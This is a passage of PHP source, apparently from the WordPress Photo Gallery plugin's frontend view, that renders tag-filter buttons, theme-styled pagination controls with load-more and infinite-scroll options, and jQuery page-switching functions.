               <button type="button"  class="bwg_tags_filter_buttons <?php echo esc_attr($active) ?>" data-filter="<?php echo esc_attr($tags_row->name) ?>" value="<?php echo esc_attr($tags_row->term_id); ?>" ><?php echo esc_html($tags_row->name) ?></button>
             <?php
             }
             ?>
          </div>
          <div class="bwg_tag_button_see_all"><div class="see_all_tags bwg_show"><span>&#43;</span><?php echo esc_html__('see all tags', 'photo-gallery');?></div></div>
        <?php
        } ?>
        <input type="hidden" id="bwg_tag_id_<?php echo esc_attr($cur_gal_id); ?>" value="<?php echo esc_attr($get_filter_teg) ?>" />
        <input type="hidden" class="current_view" value="<?php echo esc_attr($current_view); ?>" />
        <input type="hidden" class="form_id" value="<?php echo esc_attr($form_id); ?>" />
        <input type="hidden" class="cur_gal_id" value="<?php echo esc_attr($cur_gal_id); ?>" />
        <input type="hidden" class="album_gallery_id" value="<?php echo esc_attr($album_gallery_id); ?>" />
        <input type="hidden" class="type" value="<?php echo esc_attr($type); ?>" />
        <input type="hidden" class="show_bottom_tag" value="<?php echo esc_attr($show_bottom_tag); ?>" />
      </div>
      <?php
    }
  }

  /**
   * @param $theme_row
   * @param $position
   * @param $params
   * @param $bwg
   */
  public function ajax_html_frontend_page_nav($theme_row, $position, $params, $bwg, $pagination_style = 'simple') {
    $count_items = $params['album_view_type'] == 'album' ? $params['album_gallery_rows']['page_nav']['total'] : $params['image_rows']['page_nav']['total'];
    $page_number = $params['album_view_type'] == 'album' ? $params['album_gallery_rows']['page_nav']['limit'] : $params['image_rows']['page_nav']['limit'];
    $form_id = 'gal_front_form_' . $bwg;
    $items_per_page = $params['items_per_page'];
    $current_view = $bwg;
    $id = $params['container_id'];
    $cur_alb_gal_id = $params['cur_alb_gal_id'];
    $type = $params['album_view_type'];
    $enable_seo = (int) BWG()->options->enable_seo;
    $enable_dynamic_url = (int) BWG()->options->front_ajax;
    $pagination = $params['image_enable_page'];
    if ( isset($params['image_enable_page'])
      && isset($params['images_per_page'])
      && $params['image_enable_page']
      && $params['images_per_page']
      && ($theme_row->page_nav_position == $position) ) {
      ob_start();
      $rgb_page_nav_font_color = WDWLibrary::spider_hex2rgb($theme_row->page_nav_font_color);
      ?>
      /*pagination styles*/
      #bwg_container1_<?php echo esc_attr($current_view); ?> #bwg_container2_<?php echo esc_attr($current_view); ?> .tablenav-pages_<?php echo esc_attr($current_view); ?> {
				text-align: <?php echo esc_html($theme_row->page_nav_align); ?>;
				font-size: <?php echo esc_html($theme_row->page_nav_font_size); ?>px;
				font-family: <?php echo esc_html($theme_row->page_nav_font_style); ?>;
				font-weight: <?php echo esc_html($theme_row->page_nav_font_weight); ?>;
				color: #<?php echo esc_html($theme_row->page_nav_font_color); ?>;
				margin: 6px 0 4px;
				display: block;
      }
      @media only screen and (max-width : 320px) {
      #bwg_container1_<?php echo esc_attr($current_view); ?> #bwg_container2_<?php echo esc_attr($current_view); ?> .displaying-num_<?php echo esc_attr($current_view); ?> {
     	 display: none;
      }
      }
      #bwg_container1_<?php echo esc_attr($current_view); ?> #bwg_container2_<?php echo esc_attr($current_view); ?> .displaying-num_<?php echo esc_attr($current_view); ?> {
				font-size: <?php echo esc_html($theme_row->page_nav_font_size); ?>px;
				font-family: <?php echo esc_html($theme_row->page_nav_font_style); ?>;
				font-weight: <?php echo esc_html($theme_row->page_nav_font_weight); ?>;
				color: #<?php echo esc_html($theme_row->page_nav_font_color); ?>;
				margin-right: 10px;
				vertical-align: middle;
      }
      #bwg_container1_<?php echo esc_attr($current_view); ?> #bwg_container2_<?php echo esc_attr($current_view); ?> .paging-input_<?php echo esc_attr($current_view); ?> {
				font-size: <?php echo esc_html($theme_row->page_nav_font_size); ?>px;
				font-family: <?php echo esc_html($theme_row->page_nav_font_style); ?>;
				font-weight: <?php echo esc_html($theme_row->page_nav_font_weight); ?>;
				color: #<?php echo esc_html($theme_row->page_nav_font_color); ?>;
				vertical-align: middle;
      }
      #bwg_container1_<?php echo esc_attr($current_view); ?> #bwg_container2_<?php echo esc_attr($current_view); ?> .tablenav-pages_<?php echo esc_attr($current_view); ?> a.disabled,
      #bwg_container1_<?php echo esc_attr($current_view); ?> #bwg_container2_<?php echo esc_attr($current_view); ?> .tablenav-pages_<?php echo esc_attr($current_view); ?> a.disabled:hover,
      #bwg_container1_<?php echo esc_attr($current_view); ?> #bwg_container2_<?php echo esc_attr($current_view); ?> .tablenav-pages_<?php echo esc_attr($current_view); ?> a.disabled:focus,
			#bwg_container1_<?php echo esc_attr($current_view); ?> #bwg_container2_<?php echo esc_attr($current_view); ?> .tablenav-pages_<?php echo esc_attr($current_view); ?> input.bwg_current_page {
				cursor: default;
				color: rgba(<?php echo esc_html($rgb_page_nav_font_color['red']); ?>, <?php echo esc_html($rgb_page_nav_font_color['green']); ?>, <?php echo esc_html($rgb_page_nav_font_color['blue']); ?>, 0.5);
      }
      #bwg_container1_<?php echo esc_attr($current_view); ?> #bwg_container2_<?php echo esc_attr($current_view); ?> .tablenav-pages_<?php echo esc_attr($current_view); ?> a,
      #bwg_container1_<?php echo esc_attr($current_view); ?> #bwg_container2_<?php echo esc_attr($current_view); ?> .tablenav-pages_<?php echo esc_attr($current_view); ?> input.bwg_current_page {
				cursor: pointer;
				text-align: center;
				font-size: <?php echo esc_html($theme_row->page_nav_font_size); ?>px;
				font-family: <?php echo esc_html($theme_row->page_nav_font_style); ?>;
				font-weight: <?php echo esc_html($theme_row->page_nav_font_weight); ?>;
				color: #<?php echo esc_html($theme_row->page_nav_font_color); ?>;
				text-decoration: none;
				padding: <?php echo esc_html($theme_row->page_nav_padding); ?>;
				margin: <?php echo esc_html($theme_row->page_nav_margin); ?>;
				border-radius: <?php echo esc_html($theme_row->page_nav_border_radius); ?>;
				border-style: <?php echo esc_html($theme_row->page_nav_border_style); ?>;
				border-width: <?php echo esc_html($theme_row->page_nav_border_width); ?>px;
				border-color: #<?php echo esc_html($theme_row->page_nav_border_color); ?>;
				<?php $rgb_page_nav_button_bg_color = WDWLibrary::spider_hex2rgb($theme_row->page_nav_button_bg_color); ?>
				background-color: rgba(<?php echo esc_html($rgb_page_nav_button_bg_color['red']); ?>, <?php echo esc_html($rgb_page_nav_button_bg_color['green']); ?>, <?php echo esc_html($rgb_page_nav_button_bg_color['blue']); ?>, <?php echo esc_html(number_format($theme_row->page_nav_button_bg_transparent / 100, 2, ".", "")); ?>);
				box-shadow: <?php echo esc_html($theme_row->page_nav_box_shadow); ?>;
				<?php echo ($theme_row->page_nav_button_transition) ? 'transition: all 0.3s ease 0s;-webkit-transition: all 0.3s ease 0s;' : ''; ?>
      }
      <?php
      if ( !$params['pagination_default_style'] && $pagination_style == 'image_browser' ) {
        $image_browser_images_conteiner = WDWLibrary::spider_hex2rgb($theme_row->image_browser_full_bg_color);
      ?>
      #bwg_container1_<?php echo esc_attr($current_view); ?> #bwg_container2_<?php echo esc_attr($current_view); ?> .tablenav-pages_<?php echo esc_attr($current_view); ?> a.next-page:hover,
      #bwg_container1_<?php echo esc_attr($current_view); ?> #bwg_container2_<?php echo esc_attr($current_view); ?> .tablenav-pages_<?php echo esc_attr($current_view); ?> a.prev-page:hover {
        color: #000000;
      }
      #bwg_container1_<?php echo esc_attr($current_view); ?> #bwg_container2_<?php echo esc_attr($current_view); ?> .tablenav-pages_<?php echo esc_attr($current_view); ?> .first-page,
      #bwg_container1_<?php echo esc_attr($current_view); ?> #bwg_container2_<?php echo esc_attr($current_view); ?> .tablenav-pages_<?php echo esc_attr($current_view); ?> .last-page {
        padding: 0% 7%;
      }
      #bwg_container1_<?php echo esc_attr($current_view); ?> #bwg_container2_<?php echo esc_attr($current_view); ?> .tablenav-pages_<?php echo esc_attr($current_view); ?> .next-page {
        margin: 0% 4% 0% 0%;
      }
      #bwg_container1_<?php echo esc_attr($current_view); ?> #bwg_container2_<?php echo esc_attr($current_view); ?> .tablenav-pages_<?php echo esc_attr($current_view); ?> .prev-page {
        margin: 0% 0% 0% 4%;
      }
      #bwg_container1_<?php echo esc_attr($current_view); ?> #bwg_container2_<?php echo esc_attr($current_view); ?> .tablenav-pages_<?php echo esc_attr($current_view); ?> a {
        font-size: 15px !important;
        padding: 0% 7% !important;
        border-style: none !important;
        border-width: <?php echo esc_html($theme_row->page_nav_border_width); ?>px;
        border-color: #<?php echo esc_html($theme_row->page_nav_border_color); ?>;
        background-color: #<?php echo esc_html($theme_row->page_nav_button_bg_color); ?>;
        opacity: <?php echo number_format($theme_row->page_nav_button_bg_transparent / 100, 2, ".", ""); ?>;
        <?php echo ($theme_row->page_nav_button_transition ) ? 'transition: all 0.3s ease 0s;-webkit-transition: all 0.3s ease 0s;' : ''; ?>
      }
      .bwg_image_browser#bwg_container1_<?php echo esc_attr($current_view); ?> #bwg_container2_<?php echo esc_attr($current_view); ?> .tablenav-pages_<?php echo esc_attr($current_view); ?> a {
         padding: 0% 11% !important;
      }
			#bwg_container1_<?php echo esc_attr($current_view); ?> #bwg_container2_<?php echo esc_attr($current_view); ?> .tablenav-pages_<?php echo esc_attr($current_view); ?> {
        background-color: rgba(<?php echo esc_attr($image_browser_images_conteiner['red']); ?>, <?php echo esc_attr($image_browser_images_conteiner['green']); ?>, <?php echo esc_attr($image_browser_images_conteiner['blue']); ?>, <?php echo number_format($theme_row->image_browser_full_transparent / 100, 2, ".", ""); ?>);
        margin-top: 0;
      }
      .bwg_image_browser  .pagination-links_<?php echo esc_attr($current_view); ?> {
        white-space: nowrap;
      }
      @media screen and (max-width: 465px) {
        .bwg_image_browser#bwg_container1_<?php echo esc_attr($current_view); ?> #bwg_container2_<?php echo esc_attr($current_view); ?> .tablenav-pages_<?php echo esc_attr($current_view); ?> a {
          padding: 0% 5% !important;
          font-size: 13px;
        }
      }
      <?php
      }
      $inline_style = ob_get_clean();
      if ( BWG()->options->use_inline_stiles_and_scripts && !WDWLibrary::elementor_is_active() && !$params['ajax'] ) {
        wp_add_inline_style('bwg_frontend', $inline_style);
      }
      else {
          echo wp_kses('<style>' . $inline_style . '</style>', array('style' => array()));
      }
      $limit = $page_number > 1 ? $items_per_page['load_more_image_count'] : $items_per_page['images_per_page'];
      $limit = $limit ? $limit : 1;
      $type = WDWLibrary::get('type_' . $current_view, $type);
      $type = ($type != 'album') ? 'gallery' : 'album';
      $album_gallery_id = WDWLibrary::get('album_gallery_id_' . $current_view, $cur_alb_gal_id, 'intval');
      if ( $count_items ) {
        if ( $count_items % $limit ) {
          $items_county = ($count_items - $count_items % $limit) / $limit + 1;
        }
        else {
          $items_county = ($count_items - $count_items % $limit) / $limit;
        }
        if ( $pagination == 2 ) {
          $items_county++;
        }
      }
      else {
        $items_county = 1;
      }
      $first_page = "first-page-" . $current_view;
      $prev_page = "prev-page-" . $current_view;
      $next_page = "next-page-" . $current_view;
      $last_page = "last-page-" . $current_view;
      ?>
      <span class="bwg_nav_cont_<?php echo esc_attr($current_view); ?>">
      <?php
      if ( $pagination == 1 ) {
        ?>
        <div class="tablenav-pages_<?php echo esc_attr($current_view); ?>">
          <?php
          if ( $theme_row->page_nav_number ) {
            ?>
            <span class="displaying-num_<?php echo esc_attr($current_view); ?>"><?php echo esc_html($count_items) . ' ' . esc_html__(' item(s)', 'photo-gallery'); ?></span>
            <?php
          }
          if ( $count_items > $limit ) {
            if ( $theme_row->page_nav_button_text ) {
              $first_button = esc_html__('First', 'photo-gallery');
              $previous_button = esc_html__('Previous', 'photo-gallery');
              $next_button = esc_html__('Next', 'photo-gallery');
              $last_button = esc_html__('Last', 'photo-gallery');
            }
            else {
              $first_button = '«';
              $previous_button = '‹';
              $next_button = '›';
              $last_button = '»';
            }
            if ( $page_number == 1 ) {
              $first_page = "first-page disabled";
              $prev_page = "prev-page disabled";
            }
            if ( $page_number >= $items_county ) {
              $next_page = "next-page disabled";
              $last_page = "last-page disabled";
            }

            $REQUEST_URI = isset($REQUEST_URI) ? sanitize_url($REQUEST_URI) : '';
            $REQUEST_URI_first = add_query_arg(array( "page_number_" . $current_view => 1 ), $REQUEST_URI);
            $REQUEST_URI_prev =  add_query_arg(array( "page_number_" . $current_view => $page_number - 1 ), $REQUEST_URI);
            ?>
            <span class="pagination-links_<?php echo esc_attr($current_view); ?> pagination-links" data-pages-count="<?php echo esc_attr($items_county); ?>">
              <span class="pagination-links_col1">
              <a class="bwg-a <?php echo esc_html($first_page); ?>" title="<?php echo esc_html__('Go to the first page', 'photo-gallery'); ?>" <?php echo (($enable_dynamic_url || $enable_seo) && $page_number > 1) ? 'href="' . esc_url($REQUEST_URI_first) . '"' : ""; ?>><?php echo esc_html($first_button); ?></a>
              <a class="bwg-a <?php echo esc_html($prev_page); ?>" title="<?php echo esc_html__('Go to the previous page', 'photo-gallery'); ?>" <?php echo (($enable_dynamic_url || $enable_seo) && $page_number > 1) ? 'href="' . esc_url($REQUEST_URI_prev) . '"' : ""; ?>><?php echo esc_html($previous_button); ?></a>
              </span>
							<span class="pagination-links_col2">
									<input type="number" class="bwg_current_page" name="bwg_current_page" value="<?php echo esc_attr($page_number); ?>" data-url-info="page_number_<?php echo esc_attr($current_view); ?>" onkeypress="return bwg_change_page_<?php echo esc_attr($current_view); ?>(event, this)" min="1" oninput="validity.valid||(value='')" />
										<?php echo esc_html__('of', 'photo-gallery'); ?>
										<span class="total-pages_<?php echo esc_attr($current_view); ?>">
											<?php echo esc_html($items_county); ?>
										</span>
							</span>
              <span class="pagination-links_col3">
                <a class="bwg-a <?php echo esc_html($next_page) ?>" title="<?php echo esc_html__('Go to the next page', 'photo-gallery'); ?>" <?php echo (($enable_dynamic_url || $enable_seo) && $page_number + 1 <= $items_county) ? 'href="' . esc_url(add_query_arg(array( "page_number_" . $current_view => $page_number + 1 ), $_SERVER['REQUEST_URI'])) . '"' : ""; ?>><?php echo esc_html($next_button); ?></a>
                <a class="bwg-a <?php echo esc_html($last_page) ?>" title="<?php echo esc_html__('Go to the last page', 'photo-gallery'); ?>" <?php echo (($enable_dynamic_url || $enable_seo) && $page_number < $items_county) ? 'href="' . esc_url(add_query_arg(array( "page_number_" . $current_view => $items_county ), $_SERVER['REQUEST_URI'])) . '"' : ""; ?>><?php echo esc_html($last_button); ?></a>
              </span>
						</span>
						<?php
          }
          ?>
        </div>
          <?php
      }
      elseif ($pagination == 2) {
        if ($count_items > ($limit * ($page_number - 1)) + $items_per_page['images_per_page']) {
        ?>
          <div id="bwg_load_<?php echo esc_attr($current_view); ?>" class="tablenav-pages_<?php echo esc_attr($current_view); ?>">
            <a class="bwg-a bwg_load_btn_<?php echo esc_attr($current_view); ?> bwg_load_btn" href="javascript:void(0);"><?php echo esc_html__('Load More...', 'photo-gallery'); ?></a>
            <input type="hidden" id="bwg_load_more_<?php echo esc_attr($current_view); ?>" name="bwg_load_more_<?php echo esc_attr($current_view); ?>" value="on" />
          </div>
        <?php
        } else {
          ?>
          <script>jQuery('.bwg_nav_cont_<?php echo esc_attr($current_view); ?>').remove()</script>
        <?php
        }
      }
      elseif ($pagination == 3) {
        if ($count_items > $limit * $page_number) {
          ?>
        <script type="text/javascript">
          function bwg_scroll_load_action() {
            if (jQuery(document).scrollTop() + jQuery(window).height() > (jQuery('#<?php echo esc_html($form_id); ?>').offset().top + jQuery('#<?php echo esc_html($form_id); ?>').height())) {
              spider_page_<?php echo esc_attr($current_view); ?>('', <?php echo esc_html($page_number); ?>, 1, true);
              return false;
            }
          }
        jQuery(function() {
            jQuery(window).off("scroll").on("scroll", bwg_scroll_load_action );
        });
        </script>
        <?php
        } else {
        ?>
          <script>jQuery('.bwg_nav_cont_<?php echo esc_attr($current_view); ?>').remove()</script>
          <?php
        }
      }

      $page_number = WDWLibrary::get('page_number_' . $current_view, 1, 'intval');
      $scroll_to_top = $pagination == 1 ? 1 : 0;
      ?>
      <input type="hidden" id="page_number_<?php echo esc_attr($current_view); ?>" name="page_number_<?php echo esc_attr($current_view); ?>" value="<?php echo esc_attr($page_number); ?>" />
      <script type="text/javascript">
        if( jQuery('.bwg_nav_cont_<?php echo esc_attr($current_view); ?>').length > 1 ) {
          jQuery('.bwg_nav_cont_<?php echo esc_attr($current_view); ?>').first().remove()
        }
        function spider_page_<?php echo esc_attr($current_view); ?>(cur, x, y, load_more) {
          if (typeof load_more == "undefined") {
            var load_more = false;
          }
          if (jQuery(cur).hasClass('disabled')) {
            return false;
          }
          var items_county_<?php echo esc_attr($current_view); ?> = <?php echo esc_html($items_county); ?>;
          switch (y) {
            case 1:
              if (x >= items_county_<?php echo esc_attr($current_view); ?>) {
                document.getElementById('page_number_<?php echo esc_attr($current_view); ?>').value = items_county_<?php echo esc_attr($current_view); ?>;
              }
              else {
                document.getElementById('page_number_<?php echo esc_attr($current_view); ?>').value = x + 1;
              }
              break;
            case 2:
              document.getElementById('page_number_<?php echo esc_attr($current_view); ?>').value = items_county_<?php echo esc_attr($current_view); ?>;
              break;
            case -1:
              if (x == 1) {
                document.getElementById('page_number_<?php echo esc_attr($current_view); ?>').value = 1;
              }
              else {
                document.getElementById('page_number_<?php echo esc_attr($current_view); ?>').value = x - 1;
              }
              break;
            case -2:
              document.getElementById('page_number_<?php echo esc_attr($current_view); ?>').value = 1;
              break;
						case 0:
              document.getElementById('page_number_<?php echo esc_attr($current_view); ?>').value = x;
              break;
            default:
              document.getElementById('page_number_<?php echo esc_attr($current_view); ?>').value = 1;
          }
          bwg_ajax('<?php echo esc_html($form_id); ?>', '<?php echo esc_attr($current_view); ?>', '<?php echo esc_html($id); ?>', '<?php echo esc_html($album_gallery_id); ?>', '', '<?php echo esc_html($type); ?>', 0, '', '', load_more, '', <?php echo esc_html($scroll_to_top); ?>);
        }

        <?php if ( BWG()->options->front_ajax != "1" ) {  ?>
            jQuery('.<?php echo esc_html($first_page); ?>').on('click', function () {
              spider_page_<?php echo esc_attr($current_view); ?>(this, <?php echo esc_html($page_number); ?>, -2, 'numeric');
              return false;
            });
            jQuery('.<?php echo esc_html($prev_page); ?>').on('click', function () {
              spider_page_<?php echo esc_attr($current_view); ?>(this, <?php echo esc_html($page_number); ?>, -1, 'numeric');
              return false;
            });
            jQuery('.<?php echo esc_html($next_page); ?>').on('click', function () {
              spider_page_<?php echo esc_attr($current_view); ?>(this, <?php echo esc_html($page_number); ?>, 1, 'numeric');
              return false;
            });
            jQuery('.<?php echo esc_html($last_page); ?>').on('click', function () {
              spider_page_<?php echo esc_attr($current_view); ?>(this, <?php echo esc_html($page_number); ?>, 2, 'numeric');
              return false;
            });
        <?php } ?>

				/* Change page on input enter. */
        function bwg_change_page_<?php echo esc_attr($current_view); ?>( e, that ) {
          if (  e.key == 'Enter' ) {
            var to_page = parseInt(jQuery(that).val());
            var pages_count = jQuery(that).parents(".pagination-links").data("pages-count");
            var current_url_param = jQuery(that).attr('data-url-info');
            if (to_page > pages_count) {
              to_page = 1;
            }
	 					<?php if ( BWG()->options->front_ajax != "1" ) {  ?>
							spider_page_<?php echo esc_attr($current_view); ?>(this, to_page, 0, 'numeric');
							return false;
						<?php
	 					} else { ?>
            	var url= new URL(window.parent.location);
							var searchParams = new URLSearchParams(url.search);
           	 	if(searchParams != ""){
                var get_page_number = searchParams.get(current_url_param);
                searchParams.set(current_url_param, to_page);
                var new_url = searchParams.toString();
              }
           	 	else {
                var new_url = current_url_param + "=" + to_page;
              }
							window.location.replace("?" + new_url);
							return false;
		  			<?php } ?>
          }
          return true;
        }

        jQuery('.bwg_load_btn_<?php echo esc_attr($current_view); ?>').on('click', function () {
            spider_page_<?php echo esc_attr($current_view); ?>(this, <?php echo esc_html($page_number); ?>, 1, true);
            return false;
        });
      </script>
      </span>
      <?php
    }
  }

  public function http_strip_query_param( $url, $param ) {
    $pieces = parse_url( html_entity_decode($url) );
    if ( !$pieces['query'] ) {
      return $url;
    }
    $query = array();
    parse_str($pieces['query'], $query);
    if ( !isset($query[$param]) ) {
      return $url;
    }
    unset($query[$param]);
    $s_url = sanitize_url($_SERVER["PHP_SELF"]);
    if ( isset($_SERVER["REQUEST_URI"]) ) {
      $r_url = explode("?", sanitize_url($_SERVER["REQUEST_URI"]));
      if ( isset($r_url[0]) ) {
        $s_url = $r_url[0];
      }
    }
    $pieces['query'] = http_build_query($query);
    $href = add_query_arg($query, $s_url);

    return $href;
  }
}